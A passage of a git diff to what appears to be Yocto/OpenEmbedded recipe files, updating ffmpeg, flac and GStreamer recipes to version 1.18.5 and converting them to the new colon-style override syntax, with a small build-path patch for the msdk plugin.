+ --disable-loongson2 --disable-loongson3 --disable-mmi --disable-msa --disable-msa2"
+EXTRA_OECONF:append:riscv32 = " --extra-libs=-latomic"
+EXTRA_OECONF:append:armv5 = " --extra-libs=-latomic"
+EXTRA_OECONF:append:powerpc = " --extra-libs=-latomic"
+
+# gold crashes on x86, another solution is to --disable-asm but thats more hacky
+# ld.gold: internal error in relocate_section, at ../../gold/i386.cc:3684
+
+LDFLAGS:append:x86 = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd ', '', d)}"
+
+EXTRA_OEMAKE = "V=1"
+
+do_configure() {
+ ${S}/configure ${EXTRA_OECONF}
+}
+
+# patch out build host paths for reproducibility
+do_compile:prepend:class-target() {
+ sed -i -e "s,${WORKDIR},,g" ${B}/config.h
+}
+
+PACKAGES =+ "libavcodec \
+ libavdevice \
+ libavfilter \
+ libavformat \
+ libavresample \
+ libavutil \
+ libpostproc \
+ libswresample \
+ libswscale"
+
+FILES:libavcodec = "${libdir}/libavcodec${SOLIBS}"
+FILES:libavdevice = "${libdir}/libavdevice${SOLIBS}"
+FILES:libavfilter = "${libdir}/libavfilter${SOLIBS}"
+FILES:libavformat = "${libdir}/libavformat${SOLIBS}"
+FILES:libavresample = "${libdir}/libavresample${SOLIBS}"
+FILES:libavutil = "${libdir}/libavutil${SOLIBS}"
+FILES:libpostproc = "${libdir}/libpostproc${SOLIBS}"
+FILES:libswresample = "${libdir}/libswresample${SOLIBS}"
+FILES:libswscale = "${libdir}/libswscale${SOLIBS}"
+
+# ffmpeg disables PIC on some platforms (e.g. x86-32)
+INSANE_SKIP:${MLPREFIX}libavcodec = "textrel"
+INSANE_SKIP:${MLPREFIX}libavdevice = "textrel"
+INSANE_SKIP:${MLPREFIX}libavfilter = "textrel"
+INSANE_SKIP:${MLPREFIX}libavformat = "textrel"
+INSANE_SKIP:${MLPREFIX}libavutil = "textrel"
+INSANE_SKIP:${MLPREFIX}libavresample = "textrel"
+INSANE_SKIP:${MLPREFIX}libswscale = "textrel"
+INSANE_SKIP:${MLPREFIX}libswresample = "textrel"
+INSANE_SKIP:${MLPREFIX}libpostproc = "textrel"
diff --git a/meta/recipes-multimedia/flac/flac_1.3.3.bb b/meta/recipes-multimedia/flac/flac_1.3.3.bb
index cb6692aedf..c796cacd2c 100644
--- a/meta/recipes-multimedia/flac/flac_1.3.3.bb
+++ b/meta/recipes-multimedia/flac/flac_1.3.3.bb
@@ -3,7 +3,7 @@ DESCRIPTION = "FLAC stands for Free Lossless Audio Codec, a lossless audio compr
HOMEPAGE = "https://xiph.org/flac/"
BUGTRACKER = "http://sourceforge.net/p/flac/bugs/"
SECTION = "libs"
-LICENSE = "GFDL-1.2 & GPLv2+ & LGPLv2.1+ & BSD"
+LICENSE = "GFDL-1.2 & GPLv2+ & LGPLv2.1+ & BSD-3-Clause"
LIC_FILES_CHKSUM = "file://COPYING.FDL;md5=ad1419ecc56e060eccf8184a87c4285f \
file://src/Makefile.am;beginline=1;endline=17;md5=09501c864f89dfc7ead65553129817ca \
file://COPYING.GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
@@ -38,9 +38,9 @@ EXTRA_OECONF += "${@bb.utils.contains("TUNE_FEATURES", "core2", " --enable-sse",
EXTRA_OECONF += "${@bb.utils.contains("TUNE_FEATURES", "corei7", " --enable-sse", "", d)}"
PACKAGES += "libflac libflac++ liboggflac liboggflac++"
-FILES_${PN} = "${bindir}/*"
-FILES_libflac = "${libdir}/libFLAC.so.*"
-FILES_libflac++ = "${libdir}/libFLAC++.so.*"
-FILES_liboggflac = "${libdir}/libOggFLAC.so.*"
-FILES_liboggflac++ = "${libdir}/libOggFLAC++.so.*"
+FILES:${PN} = "${bindir}/*"
+FILES:libflac = "${libdir}/libFLAC.so.*"
+FILES:libflac++ = "${libdir}/libFLAC++.so.*"
+FILES:liboggflac = "${libdir}/libOggFLAC.so.*"
+FILES:liboggflac++ = "${libdir}/libOggFLAC++.so.*"
diff --git a/meta/recipes-multimedia/gstreamer/gst-devtools_1.18.1.bb b/meta/recipes-multimedia/gstreamer/gst-devtools_1.18.1.bb
deleted file mode 100644
index 2e09ef9c25..0000000000
--- a/meta/recipes-multimedia/gstreamer/gst-devtools_1.18.1.bb
+++ /dev/null
@@ -1,42 +0,0 @@
-SUMMARY = "Gstreamer validation tool"
-DESCRIPTION = "A Tool to test GStreamer components"
-HOMEPAGE = "https://gstreamer.freedesktop.org/documentation/gst-devtools/index.html"
-SECTION = "multimedia"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://validate/COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343"
-
-#S = "${WORKDIR}/gst-devtools-${PV}"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/gst-devtools/gst-devtools-${PV}.tar.xz \
- file://0001-connect-has-a-different-signature-on-musl.patch \
- "
-
-SRC_URI[sha256sum] = "712212babd2238233d55beecfc0fe1ea8db18e8807ac6ab05a64505b2c7ab0df"
-
-DEPENDS = "json-glib glib-2.0 glib-2.0-native gstreamer1.0 gstreamer1.0-plugins-base"
-RRECOMMENDS_${PN} = "git"
-
-FILES_${PN} += "${datadir}/gstreamer-1.0/* ${libdir}/gst-validate-launcher/* ${libdir}/gstreamer-1.0/*"
-
-inherit meson pkgconfig gettext upstream-version-is-even gobject-introspection
-
-# TODO: put this in a gettext.bbclass patch
-def gettext_oemeson(d):
- if d.getVar('USE_NLS') == 'no':
- return '-Dnls=disabled'
- # Remove the NLS bits if USE_NLS is no or INHIBIT_DEFAULT_DEPS is set
- if d.getVar('INHIBIT_DEFAULT_DEPS') and not oe.utils.inherits(d, 'cross-canadian'):
- return '-Dnls=disabled'
- return '-Dnls=enabled'
-
-EXTRA_OEMESON += " \
- -Ddoc=disabled \
- -Ddebug_viewer=disabled \
- -Dtests=disabled \
- -Dvalidate=enabled \
- ${@gettext_oemeson(d)} \
-"
-
-GIR_MESON_ENABLE_FLAG = "enabled"
-GIR_MESON_DISABLE_FLAG = "disabled"
diff --git a/meta/recipes-multimedia/gstreamer/gst-devtools_1.18.5.bb b/meta/recipes-multimedia/gstreamer/gst-devtools_1.18.5.bb
new file mode 100644
index 0000000000..1b46b89cb9
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gst-devtools_1.18.5.bb
@@ -0,0 +1,49 @@
+SUMMARY = "Gstreamer validation tool"
+DESCRIPTION = "A Tool to test GStreamer components"
+HOMEPAGE = "https://gstreamer.freedesktop.org/documentation/gst-devtools/index.html"
+SECTION = "multimedia"
+
+LICENSE = "LGPLv2.1"
+LIC_FILES_CHKSUM = "file://validate/COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343"
+
+#S = "${WORKDIR}/gst-devtools-${PV}"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-devtools/gst-devtools-${PV}.tar.xz \
+ file://0001-connect-has-a-different-signature-on-musl.patch \
+ "
+
+SRC_URI[sha256sum] = "fecffc86447daf5c2a06843c757a991d745caa2069446a0d746e99b13f7cb079"
+
+DEPENDS = "json-glib glib-2.0 glib-2.0-native gstreamer1.0 gstreamer1.0-plugins-base"
+RRECOMMENDS:${PN} = "git"
+
+FILES:${PN} += "${datadir}/gstreamer-1.0/* ${libdir}/gst-validate-launcher/* ${libdir}/gstreamer-1.0/*"
+
+inherit meson pkgconfig gettext upstream-version-is-even gobject-introspection
+
+# TODO: put this in a gettext.bbclass patch
+def gettext_oemeson(d):
+ if d.getVar('USE_NLS') == 'no':
+ return '-Dnls=disabled'
+ # Remove the NLS bits if USE_NLS is no or INHIBIT_DEFAULT_DEPS is set
+ if d.getVar('INHIBIT_DEFAULT_DEPS') and not oe.utils.inherits(d, 'cross-canadian'):
+ return '-Dnls=disabled'
+ return '-Dnls=enabled'
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Ddebug_viewer=disabled \
+ -Dtests=disabled \
+ -Dvalidate=enabled \
+ ${@gettext_oemeson(d)} \
+"
+
+do_install:append () {
+ for fn in ${bindir}/gst-validate-launcher \
+ ${libdir}/gst-validate-launcher/python/launcher/config.py; do
+ sed -i -e 's,${B},/usr/src/debug/${PN},g' -e 's,${S},/usr/src/debug/${PN},g' ${D}$fn
+ done
+}
+
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
diff --git a/meta/recipes-multimedia/gstreamer/gst-examples_1.18.1.bb b/meta/recipes-multimedia/gstreamer/gst-examples_1.18.1.bb
deleted file mode 100644
index 048b45a08f..0000000000
--- a/meta/recipes-multimedia/gstreamer/gst-examples_1.18.1.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "GStreamer examples (including gtk-play, gst-play)"
-LICENSE = "LGPL-2.0+"
-LIC_FILES_CHKSUM = "file://playback/player/gtk/gtk-play.c;beginline=1;endline=20;md5=f8c72dae3d36823ec716a9ebcae593b9"
-
-DEPENDS = "glib-2.0 gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad gtk+3 libsoup-2.4 json-glib glib-2.0-native"
-
-SRC_URI = "git://gitlab.freedesktop.org/gstreamer/gst-examples.git;protocol=https;branch=1.18 \
- file://0001-Make-player-examples-installable.patch \
- file://gst-player.desktop \
- "
-
-SRCREV = "998ee69af18a5928759dbe17fffbceebbc8d72d0"
-
-S = "${WORKDIR}/git"
-
-inherit meson pkgconfig features_check
-
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.(\d*[02468])+(\.\d+)+)"
-
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-do_install_append() {
- install -m 0644 -D ${WORKDIR}/gst-player.desktop ${D}${datadir}/applications/gst-player.desktop
-}
-
-RDEPENDS_${PN} = "gstreamer1.0-plugins-base-playback"
-RRECOMMENDS_${PN} = "gstreamer1.0-plugins-base-meta \
- gstreamer1.0-plugins-good-meta \
- gstreamer1.0-plugins-bad-meta \
- ${@bb.utils.contains("LICENSE_FLAGS_WHITELIST", "commercial", "gstreamer1.0-libav", "", d)} \
- ${@bb.utils.contains("LICENSE_FLAGS_WHITELIST", "commercial", "gstreamer1.0-plugins-ugly-meta", "", d)}"
-RPROVIDES_${PN} += "gst-player gst-player-bin"
diff --git a/meta/recipes-multimedia/gstreamer/gst-examples_1.18.5.bb b/meta/recipes-multimedia/gstreamer/gst-examples_1.18.5.bb
new file mode 100644
index 0000000000..a720bb73ff
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gst-examples_1.18.5.bb
@@ -0,0 +1,35 @@
+SUMMARY = "GStreamer examples (including gtk-play, gst-play)"
+DESCRIPTION = "GStreamer example applications"
+HOMEPAGE = "https://gitlab.freedesktop.org/gstreamer/gst-examples"
+BUGTRACKER = "https://gitlab.freedesktop.org/gstreamer/gst-examples/-/issues"
+LICENSE = "LGPL-2.0+"
+LIC_FILES_CHKSUM = "file://playback/player/gtk/gtk-play.c;beginline=1;endline=20;md5=f8c72dae3d36823ec716a9ebcae593b9"
+
+DEPENDS = "glib-2.0 gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad gtk+3 libsoup-2.4 json-glib glib-2.0-native"
+
+SRC_URI = "git://gitlab.freedesktop.org/gstreamer/gst-examples.git;protocol=https;branch=1.18 \
+ file://0001-Make-player-examples-installable.patch \
+ file://gst-player.desktop \
+ "
+
+SRCREV = "fe9a365dc0f1ff632abcfe3322ac5527a2cf30a0"
+
+S = "${WORKDIR}/git"
+
+inherit meson pkgconfig features_check
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.(\d*[02468])+(\.\d+)+)"
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+
+do_install:append() {
+ install -m 0644 -D ${WORKDIR}/gst-player.desktop ${D}${datadir}/applications/gst-player.desktop
+}
+
+RDEPENDS:${PN} = "gstreamer1.0-plugins-base-playback"
+RRECOMMENDS:${PN} = "gstreamer1.0-plugins-base-meta \
+ gstreamer1.0-plugins-good-meta \
+ gstreamer1.0-plugins-bad-meta \
+ ${@bb.utils.contains("LICENSE_FLAGS_WHITELIST", "commercial", "gstreamer1.0-libav", "", d)} \
+ ${@bb.utils.contains("LICENSE_FLAGS_WHITELIST", "commercial", "gstreamer1.0-plugins-ugly-meta", "", d)}"
+RPROVIDES:${PN} += "gst-player gst-player-bin"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.18.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.18.1.bb
deleted file mode 100644
index 38bbffafa4..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.18.1.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Libav-based GStreamer 1.x plugin"
-HOMEPAGE = "http://gstreamer.freedesktop.org/"
-SECTION = "multimedia"
-
-# ffmpeg has comercial license flags so add it as we need ffmpeg as a dependency
-LICENSE_FLAGS = "commercial"
-LICENSE = "LGPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=6762ed442b3822387a51c92d928ead0d \
- file://ext/libav/gstav.h;beginline=1;endline=18;md5=a752c35267d8276fd9ca3db6994fca9c \
- "
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/gst-libav/gst-libav-${PV}.tar.xz"
-SRC_URI[sha256sum] = "39a717bc2613efbbba19df3cf5cacff0987471fc8281ba2c5dcdeaded79c2ed8"
-
-S = "${WORKDIR}/gst-libav-${PV}"
-
-DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base ffmpeg"
-
-inherit meson pkgconfig upstream-version-is-even
-
-FILES_${PN} += "${libdir}/gstreamer-1.0/*.so"
-FILES_${PN}-staticdev += "${libdir}/gstreamer-1.0/*.a"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.18.5.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.18.5.bb
new file mode 100644
index 0000000000..a77ec62759
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.18.5.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Libav-based GStreamer 1.x plugin"
+DESCRIPTION = "Contains a GStreamer plugin for using the encoders, decoders, \
+muxers, and demuxers provided by FFmpeg."
+HOMEPAGE = "http://gstreamer.freedesktop.org/"
+SECTION = "multimedia"
+
+# ffmpeg has comercial license flags so add it as we need ffmpeg as a dependency
+LICENSE_FLAGS = "commercial"
+LICENSE = "LGPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6762ed442b3822387a51c92d928ead0d \
+ file://ext/libav/gstav.h;beginline=1;endline=18;md5=a752c35267d8276fd9ca3db6994fca9c \
+ "
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-libav/gst-libav-${PV}.tar.xz"
+SRC_URI[sha256sum] = "822e008a910e9dd13aedbdd8dc63fedef4040c0ee2e927bab3112e9de693a548"
+
+S = "${WORKDIR}/gst-libav-${PV}"
+
+DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base ffmpeg"
+
+inherit meson pkgconfig upstream-version-is-even
+
+FILES:${PN} += "${libdir}/gstreamer-1.0/*.so"
+FILES:${PN}-staticdev += "${libdir}/gstreamer-1.0/*.a"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-meta-base.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-meta-base.bb
index 016e176707..57a9adbaec 100644
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-meta-base.bb
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-meta-base.bb
@@ -18,13 +18,13 @@ PACKAGES = "\
gstreamer1.0-meta-debug \
gstreamer1.0-meta-video"
-ALLOW_EMPTY_gstreamer1.0-meta-base = "1"
-ALLOW_EMPTY_gstreamer1.0-meta-x11-base = "1"
-ALLOW_EMPTY_gstreamer1.0-meta-audio = "1"
-ALLOW_EMPTY_gstreamer1.0-meta-debug = "1"
-ALLOW_EMPTY_gstreamer1.0-meta-video = "1"
+ALLOW_EMPTY:gstreamer1.0-meta-base = "1"
+ALLOW_EMPTY:gstreamer1.0-meta-x11-base = "1"
+ALLOW_EMPTY:gstreamer1.0-meta-audio = "1"
+ALLOW_EMPTY:gstreamer1.0-meta-debug = "1"
+ALLOW_EMPTY:gstreamer1.0-meta-video = "1"
-RDEPENDS_gstreamer1.0-meta-base = "\
+RDEPENDS:gstreamer1.0-meta-base = "\
${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'gstreamer1.0-meta-x11-base', '', d)} \
gstreamer1.0 \
gstreamer1.0-plugins-base-playback \
@@ -39,11 +39,11 @@ RDEPENDS_gstreamer1.0-meta-base = "\
gstreamer1.0-plugins-good-autodetect \
gstreamer1.0-plugins-good-soup"
-RRECOMMENDS_gstreamer1.0-meta-x11-base = "\
+RRECOMMENDS:gstreamer1.0-meta-x11-base = "\
gstreamer1.0-plugins-base-ximagesink \
gstreamer1.0-plugins-base-xvimagesink"
-RDEPENDS_gstreamer1.0-meta-audio = "\
+RDEPENDS:gstreamer1.0-meta-audio = "\
gstreamer1.0-meta-base \
gstreamer1.0-plugins-base-vorbis \
gstreamer1.0-plugins-base-ogg \
@@ -51,18 +51,18 @@ RDEPENDS_gstreamer1.0-meta-audio = "\
gstreamer1.0-plugins-good-flac \
${COMMERCIAL_AUDIO_PLUGINS}"
-RDEPENDS_gstreamer1.0-meta-debug = "\
+RDEPENDS:gstreamer1.0-meta-debug = "\
gstreamer1.0-meta-base \
gstreamer1.0-plugins-good-debug \
gstreamer1.0-plugins-base-audiotestsrc \
gstreamer1.0-plugins-base-videotestsrc"
-RDEPENDS_gstreamer1.0-meta-video = "\
+RDEPENDS:gstreamer1.0-meta-video = "\
gstreamer1.0-meta-base \
gstreamer1.0-plugins-good-avi \
gstreamer1.0-plugins-good-matroska \
gstreamer1.0-plugins-base-theora \
${COMMERCIAL_VIDEO_PLUGINS}"
-RRECOMMENDS_gstreamer1.0-meta-video = "\
+RRECOMMENDS:gstreamer1.0-meta-video = "\
gstreamer1.0-meta-audio"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.18.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.18.1.bb
deleted file mode 100644
index 513d66f9fc..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.18.1.bb
+++ /dev/null
@@ -1,46 +0,0 @@
-SUMMARY = "OpenMAX IL plugins for GStreamer"
-HOMEPAGE = "http://gstreamer.freedesktop.org/"
-SECTION = "multimedia"
-
-LICENSE = "LGPLv2.1"
-LICENSE_FLAGS = "commercial"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
- file://omx/gstomx.h;beginline=1;endline=21;md5=5c8e1fca32704488e76d2ba9ddfa935f"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/gst-omx/gst-omx-${PV}.tar.xz"
-
-SRC_URI[sha256sum] = "42a8e0f9518b94655981ede441638f9f9395f4b1b9a4b329f068ee793975a965"
-
-S = "${WORKDIR}/gst-omx-${PV}"
-
-DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad virtual/libomxil"
-
-inherit meson pkgconfig upstream-version-is-even
-
-GSTREAMER_1_0_OMX_TARGET ?= "bellagio"
-GSTREAMER_1_0_OMX_CORE_NAME ?= "${libdir}/libomxil-bellagio.so.0"
-
-EXTRA_OEMESON += "-Dtarget=${GSTREAMER_1_0_OMX_TARGET}"
-
-python __anonymous () {
- omx_target = d.getVar("GSTREAMER_1_0_OMX_TARGET")
- if omx_target in ['generic', 'bellagio']:
- # Bellagio headers are incomplete (they are missing the OMX_VERSION_MAJOR,#
- # OMX_VERSION_MINOR, OMX_VERSION_REVISION, and OMX_VERSION_STEP macros);
- # appending a directory path to gst-omx' internal OpenMAX IL headers fixes this
- d.appendVar("CFLAGS", " -I${S}/omx/openmax")
- elif omx_target == "rpi":
- # Dedicated Raspberry Pi OpenMAX IL support makes this package machine specific
- d.setVar("PACKAGE_ARCH", d.getVar("MACHINE_ARCH"))
-}
-
-set_omx_core_name() {
- sed -i -e "s;^core-name=.*;core-name=${GSTREAMER_1_0_OMX_CORE_NAME};" "${D}${sysconfdir}/xdg/gstomx.conf"
-}
-do_install[postfuncs] += " set_omx_core_name "
-
-FILES_${PN} += "${libdir}/gstreamer-1.0/*.so"
-FILES_${PN}-staticdev += "${libdir}/gstreamer-1.0/*.a"
-
-VIRTUAL-RUNTIME_libomxil ?= "libomxil"
-RDEPENDS_${PN} = "${VIRTUAL-RUNTIME_libomxil}"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.18.5.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.18.5.bb
new file mode 100644
index 0000000000..b2c1eb3ea0
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.18.5.bb
@@ -0,0 +1,47 @@
+SUMMARY = "OpenMAX IL plugins for GStreamer"
+DESCRIPTION = "Wraps available OpenMAX IL components and makes them available as standard GStreamer elements."
+HOMEPAGE = "http://gstreamer.freedesktop.org/"
+SECTION = "multimedia"
+
+LICENSE = "LGPLv2.1"
+LICENSE_FLAGS = "commercial"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
+ file://omx/gstomx.h;beginline=1;endline=21;md5=5c8e1fca32704488e76d2ba9ddfa935f"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-omx/gst-omx-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "2cd457c1e8deb1a9b39608048fb36a44f6c9a864a6b6115b1453a32e7be93b42"
+
+S = "${WORKDIR}/gst-omx-${PV}"
+
+DEPENDS = "gstreamer1.0 gstreamer1.0-plugins-base gstreamer1.0-plugins-bad virtual/libomxil"
+
+inherit meson pkgconfig upstream-version-is-even
+
+GSTREAMER_1_0_OMX_TARGET ?= "bellagio"
+GSTREAMER_1_0_OMX_CORE_NAME ?= "${libdir}/libomxil-bellagio.so.0"
+
+EXTRA_OEMESON += "-Dtarget=${GSTREAMER_1_0_OMX_TARGET}"
+
+python __anonymous () {
+ omx_target = d.getVar("GSTREAMER_1_0_OMX_TARGET")
+ if omx_target in ['generic', 'bellagio']:
+ # Bellagio headers are incomplete (they are missing the OMX_VERSION_MAJOR,#
+ # OMX_VERSION_MINOR, OMX_VERSION_REVISION, and OMX_VERSION_STEP macros);
+ # appending a directory path to gst-omx' internal OpenMAX IL headers fixes this
+ d.appendVar("CFLAGS", " -I${S}/omx/openmax")
+ elif omx_target == "rpi":
+ # Dedicated Raspberry Pi OpenMAX IL support makes this package machine specific
+ d.setVar("PACKAGE_ARCH", d.getVar("MACHINE_ARCH"))
+}
+
+set_omx_core_name() {
+ sed -i -e "s;^core-name=.*;core-name=${GSTREAMER_1_0_OMX_CORE_NAME};" "${D}${sysconfdir}/xdg/gstomx.conf"
+}
+do_install[postfuncs] += " set_omx_core_name "
+
+FILES:${PN} += "${libdir}/gstreamer-1.0/*.so"
+FILES:${PN}-staticdev += "${libdir}/gstreamer-1.0/*.a"
+
+VIRTUAL-RUNTIME_libomxil ?= "libomxil"
+RDEPENDS:${PN} = "${VIRTUAL-RUNTIME_libomxil}"
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0005-msdk-fix-includedir-path.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0005-msdk-fix-includedir-path.patch
new file mode 100644
index 0000000000..cb3bb7d361
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad/0005-msdk-fix-includedir-path.patch
@@ -0,0 +1,31 @@
+From 1f00d5026118ebd48e4ccf83d32d67155c4e7f60 Mon Sep 17 00:00:00 2001
+From: Naveen Saini <naveen.kumar.saini@intel.com>
+Date: Wed, 30 Dec 2020 16:37:47 +0800
+Subject: [PATCH] msdk: fix includedir path
+
+In cross compilation, need to prepend PKG_CONFIG_SYSROOT_DIR to the dir path.
+
+Upstream-Status: Inappropriate [OE-specific]
+
+Signed-off-by: Naveen Saini <naveen.kumar.saini@intel.com>
+---
+ sys/msdk/meson.build | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/sys/msdk/meson.build b/sys/msdk/meson.build
+index 6346c9451..068f38548 100644
+--- a/sys/msdk/meson.build
++++ b/sys/msdk/meson.build
+@@ -40,7 +40,9 @@ endif
+
+ mfx_dep = dependency('libmfx', required: false)
+ if mfx_dep.found()
++ pkgconf_sysroot = run_command(python3, '-c', 'import os; print(os.environ.get("PKG_CONFIG_SYSROOT_DIR"))').stdout().strip()
+ mfx_incdir = mfx_dep.get_pkgconfig_variable('includedir')
++ mfx_incdir = pkgconf_sysroot + mfx_incdir
+ mfx_inc = []
+ else
+ # Old versions of MediaSDK don't provide a pkg-config file
+--
+2.17.1
+
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.18.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.18.1.bb
deleted file mode 100644
index ebd8c5a27d..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.18.1.bb
+++ /dev/null
@@ -1,153 +0,0 @@
-require gstreamer1.0-plugins-common.inc
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/gst-plugins-bad/gst-plugins-bad-${PV}.tar.xz \
- file://0001-fix-maybe-uninitialized-warnings-when-compiling-with.patch \
- file://0002-avoid-including-sys-poll.h-directly.patch \
- file://0003-ensure-valid-sentinals-for-gst_structure_get-etc.patch \
- file://0004-opencv-resolve-missing-opencv-data-dir-in-yocto-buil.patch \
- "
-SRC_URI[sha256sum] = "c195978c85d97406c05eb9d43ac54b9ab35eda6ffdae32b3ed597b8f1743c1b2"
-
-S = "${WORKDIR}/gst-plugins-bad-${PV}"
-
-LICENSE = "GPLv2+ & LGPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-DEPENDS += "gstreamer1.0-plugins-base"
-
-inherit gobject-introspection
-
-PACKAGECONFIG ??= " \
- ${GSTREAMER_ORC} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'directfb vulkan', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'gl', '', d)} \
- bz2 closedcaption curl dash dtls hls rsvg sbc smoothstreaming sndfile \
- ttml uvch264 webp \
-"
-
-PACKAGECONFIG[assrender] = "-Dassrender=enabled,-Dassrender=disabled,libass"
-PACKAGECONFIG[bluez] = "-Dbluez=enabled,-Dbluez=disabled,bluez5"
-PACKAGECONFIG[bz2] = "-Dbz2=enabled,-Dbz2=disabled,bzip2"
-PACKAGECONFIG[closedcaption] = "-Dclosedcaption=enabled,-Dclosedcaption=disabled,pango cairo"
-PACKAGECONFIG[curl] = "-Dcurl=enabled,-Dcurl=disabled,curl"
-PACKAGECONFIG[dash] = "-Ddash=enabled,-Ddash=disabled,libxml2"
-PACKAGECONFIG[dc1394] = "-Ddc1394=enabled,-Ddc1394=disabled,libdc1394"
-PACKAGECONFIG[directfb] = "-Ddirectfb=enabled,-Ddirectfb=disabled,directfb"
-PACKAGECONFIG[dtls] = "-Ddtls=enabled,-Ddtls=disabled,openssl"
-PACKAGECONFIG[faac] = "-Dfaac=enabled,-Dfaac=disabled,faac"
-PACKAGECONFIG[faad] = "-Dfaad=enabled,-Dfaad=disabled,faad2"
-PACKAGECONFIG[fluidsynth] = "-Dfluidsynth=enabled,-Dfluidsynth=disabled,fluidsynth"
-PACKAGECONFIG[hls] = "-Dhls=enabled -Dhls-crypto=nettle,-Dhls=disabled,nettle"
-# the gl packageconfig enables OpenGL elements that haven't been ported
-# to -base yet. They depend on the gstgl library in -base, so we do
-# not add GL dependencies here, since these are taken care of in -base.
-PACKAGECONFIG[gl] = "-Dgl=enabled,-Dgl=disabled,"
-PACKAGECONFIG[kms] = "-Dkms=enabled,-Dkms=disabled,libdrm"
-PACKAGECONFIG[libde265] = "-Dlibde265=enabled,-Dlibde265=disabled,libde265"
-PACKAGECONFIG[libmms] = "-Dlibmms=enabled,-Dlibmms=disabled,libmms"
-PACKAGECONFIG[libssh2] = "-Dcurl-ssh2=enabled,-Dcurl-ssh2=disabled,libssh2"
-PACKAGECONFIG[lcms2] = "-Dcolormanagement=enabled,-Dcolormanagement=disabled,lcms"
-PACKAGECONFIG[modplug] = "-Dmodplug=enabled,-Dmodplug=disabled,libmodplug"
-PACKAGECONFIG[msdk] = "-Dmsdk=enabled,-Dmsdk=disabled,intel-mediasdk"
-PACKAGECONFIG[neon] = "-Dneon=enabled,-Dneon=disabled,neon"
-PACKAGECONFIG[openal] = "-Dopenal=enabled,-Dopenal=disabled,openal-soft"
-PACKAGECONFIG[opencv] = "-Dopencv=enabled,-Dopencv=disabled,opencv"
-PACKAGECONFIG[openh264] = "-Dopenh264=enabled,-Dopenh264=disabled,openh264"
-PACKAGECONFIG[openjpeg] = "-Dopenjpeg=enabled,-Dopenjpeg=disabled,openjpeg"
-PACKAGECONFIG[openmpt] = "-Dopenmpt=enabled,-Dopenmpt=disabled,libopenmpt"
-# the opus encoder/decoder elements are now in the -base package,
-# but the opus parser remains in -bad
-PACKAGECONFIG[opusparse] = "-Dopus=enabled,-Dopus=disabled,libopus"
